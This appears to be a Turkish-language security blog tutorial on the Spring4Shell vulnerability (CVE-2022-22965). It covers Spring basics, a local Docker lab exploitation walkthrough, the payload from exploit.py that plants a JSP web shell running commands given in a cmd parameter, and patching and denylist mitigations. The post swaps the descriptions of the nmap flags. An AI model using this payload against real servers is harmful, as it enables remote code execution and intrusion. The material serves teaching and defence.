Spring4Shell

Herkese Selam, Bu yazımızda sizlere java dilinin bir kütüphanesi olan spring kütüphanesi ve bu kütüphanenin bir zafiyeti olan Spring4Shell’den bahsedeceğiz.

Yazımızın içeriğini Java nedir?, Spring kütüphanesi nedir?, Spring kütüphanesinin temel özellikleri nelerdir ?, Spring4Shell zafiyeti, Zafiyet nasıl sömürülür? ve Zafiyet nasıl önlenir? oluşturmaktadır.

Keyifli okumalar :)


Java Nedir ?

Java 1995 yılında Sun Microsystems tarafından yayınlanan bir hesaplama platformu ve programlama dilidir. Yaygın olarak web uygulamaları kodlamalarında kullanılsada oyun geliştirme, yapay zeka, nesnelerin interneti gibi birçok alanda da tercih edilmektedir. Bu kadar popüler olmasının sebeplerinden en önemlisi aktif kullanıcı fazlalığı sayesinde kişilerin birbirine hızlı destek olmasıdır. Bunun yanı sıra güvenliliği, birden fazla kullanışlı kütüphaneye sahip olma gibi nedenler de javanın fazla kullanılmasında etkendir.

Spring Kütüphanesi Nedir ?

Spring java tabanlı bir web kütüphanesidir ve çeşitli modüllerden oluşmaktadır. Ana amacı uygulama geliştirmeyi kolaylaştırmak olan bu kütüphane karmaşıklığı azaltır ve geliştirme sürecini hızlandırır. Özellikle büyük ölçekli ve karmaşık uygulamaların geliştirilmesini desteklemek için tasarlanmıştır. Minimum kodlama ile web uygulamaları geliştirmek için esnek bir platform sağlar. Kolay test etme, geniş topluluk desteği gibi avantajlara sahiptir

Spring Kütüphanesinin Temel Özellikleri Nelerdir ?

  • Inversion of Control (Kontrol Tersiyonu): Nesne oluşturma ve bağımlılıkların yönetimi gibi işlemleri uygulamanızın dışında olan bir kontrole devreder.

  • Dependency Injection (Bağımlılık Enjeksiyonu): Nesnelerin bağımlılıklarını kendisi oluşturmak yerine dışarıdan almasını sağlayan bir tasarım desenidir.

  • Aspect-Oriented Programming (Aspect Yönelimli Programlama): Uygulamanın farklı bölümlerindeki belirli konuları (loglama, güvenlik, işlem yönetimi vb.) ayırmak için kullanılan bir programlama yapısına sahiptir.

  • Model-View-Controller (Model Görünüm Denetleyici): Web uygulamaları için bir model-görünüm-denetleyici mimarisini sağlayan bir modüldür. Bu, web uygulamalarını geliştirmeyi ve yönetmeyi kolaylaştırır.

  • Data Access/Integration (Veri Erişimi/Entegrasyonu): Veritabanı etkileşimi için JDBC, JPA, Hibernate gibi standart API'ları destekler.

  • Security (Güvenlik): Kimlik doğrulama, yetkilendirme ve diğer güvenlik konularını ele alır.

Spring Framework'ün bu özellikleri, Java tabanlı uygulamaların geliştirilmesini daha kolay, daha hızlı ve daha güvenilir hale getirir.

Spring4Shell Zafiyeti

Spring4Shell Zafiyeti Nedir ?

Spring kütüphanesi için CVE-2022-22965 kodlu kritik öneme sahip bir açık keşfedildi. Bu açık daha önce de bilinen Log4Shell zafiyetine çok benzetildi ve bu nedenle Spring4Shell olarak adlandırıldı. Bu zafiyet sayesinde saldırganlar kod parçacığının nesne yapılarına bağlanarak karşı bilgisayarda kod çalıştırmaya imkan sağlanıldığı ortaya çıktı. Web uygulamaları için önemli bir yere sahip olan bu açık, kullanıcıların hemen dikkatini. CVSS v3.0 hesaplayıcısına göre puanı 10 üzerinden 9.8 olarak kayıtlara geçen bu zafiyet 5.3.18 Spring güncellemesi ile açık düzeltildi.

Zafiyet Neden Ortaya Çıkar ?

  • Eski bir sürüme sahip Java Development Kit kullanıyorsanız.

  • Spring Framework 5.3.0 – 5.3.17, 5.2.0 ve 5.2.19 ila önceki sürümleri kullanıyorsanız

  • Eski bir sürüme sahip Apache Tomcat Kullanıyorsanız

Zafiyete sahip olma olasılığınız çok yüksektir.

Zafiyetin Sömürülmesi

Şimdi size açık kod kaynaklı olan Spring4Shell-POC laboratuvarı ile örnekler eşliğinde zafiyetin nasıl sömürüldüğünden bahsedeceğim

Adım 1 :

docker run -p 8080:8080 spring4shell 

Paremetresini kullanarak laboratuvarımızı docker yardımı ile ayaklandırıyoruz.

Ardından localhostumuza gittiğimizde karşımıza alttaki resimdeki sayfa çıkmaktadır

Adım 2 :

nmap -sC -sV 127.0.0.1 | grep open nmap 

Nmap yardımı ile -sC ile versiyon taraması ve -sV ile de açık portları buluyoruz. Bu şekilde zafiyet var mı yok mu ilk adımı atıyoruz

Tarama sonucundan anlıyoruz ki sistemimiz Apache Tomcat’in düşük sürümünü kullanmakta bu da bize zafiyetin daha sömürülebilir hale getirmemizi kolaylaştırıyor. Yapılmayan güncelleme sayesinde sitemize zararlı yazılım entegre ediyoruz.

Adım 3 :

python exploit.py --url "http://127.0.0.1:8080/helloworld/greeting"

Son olarak exploitimizi çalıştırarak sistemdeki açığı sömürmeye başlıyoruz.

Fotoğrafta görüldüğü üzere sitemizde denemeler 200 kod ile başarı dönüyor ve http://127.0.0.1:8080/shell.jsp?(komut) adresinde istediğimiz komutları çalıştırabiliyoruz.

Exploit.py incelemesi

  log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

Karşımıza bu kod bloğu çıkmakta. Kod bloğu sayesinde Shell HTTP isteğinin içeriğini manipüle ederek, hedef sunucuda bir komut yürütülmesini sağlar. Özellikle, cmd parametresi üzerinden sağlanan komutlar yürütülür ve çıktı istemciye geri gönderilir. Bu, hedef sunucuda uzaktan kod yürütme yeteneği sağlar bu şekilde de zafiyeti sömürme işlemi gerçekleştirebiliriz.

Zafiyet Nasıl Önlenir ?

Zafiyetin Önlenmesi İçin Kod Parçacığı

@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {

    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
         dataBinder.setDisallowedFields(denylist);
    }

}

Yukarıda verilen kod örneği zafiyeti önlemek için en önemli adımlardan birisi. Kod yapısını incelersek setAllowedFields metodu, WebDataBinder nesnesini yapılandırmak için kullanılır. Bu metod, belirli alanların dönüşümlerini yapılandırır. Örneğin, veri bağlayıcıya hangi alanların dönüştürülmesine izin verilmediğini belirlemek için setDisallowedFields metodu kullanılır. Bu örnekte, denylist adında bir dizi tanımlanır ve bu listedeki alanların dönüşümlerinin yapılmaması sağlanır. Burada belirtilen denylist içeriği, class kelimesi içeren alanların dönüşümlerini engeller ve bu sayede karşıdan gelene istekler reddedilir.

Ek Öneriler

  • Spring çerçevesini kullanan herkes için ana tavsiye, kullanılan sürümün, güvenli olan 5.3.18 veya 5.2.20 sürümlerine yükseltilmesidir.

  • Aynı zamanda Apache Software Foundation, Tomcat tarafında saldırı vektörünün kapatıldığı Apache Tomcat 10.0.20, 9.0.62 ve 8.5.78’in yamalı sürümleri kullanılmalıdır.

  • Spring Framework 5.3.18’in yamalı sürümüne bağlı olan Spring Boot 2.5.12 ve 2.6.6 uzantılarının yamalı sürümlerini yayınladı bu sürümlere yükseltilmeli ve kullanılmalıdır.

Daha fazla öneri ve tavsiye için spring internet sitesini takip edebilirsiniz.

Daha Fazla Bilgi İçin

Last updated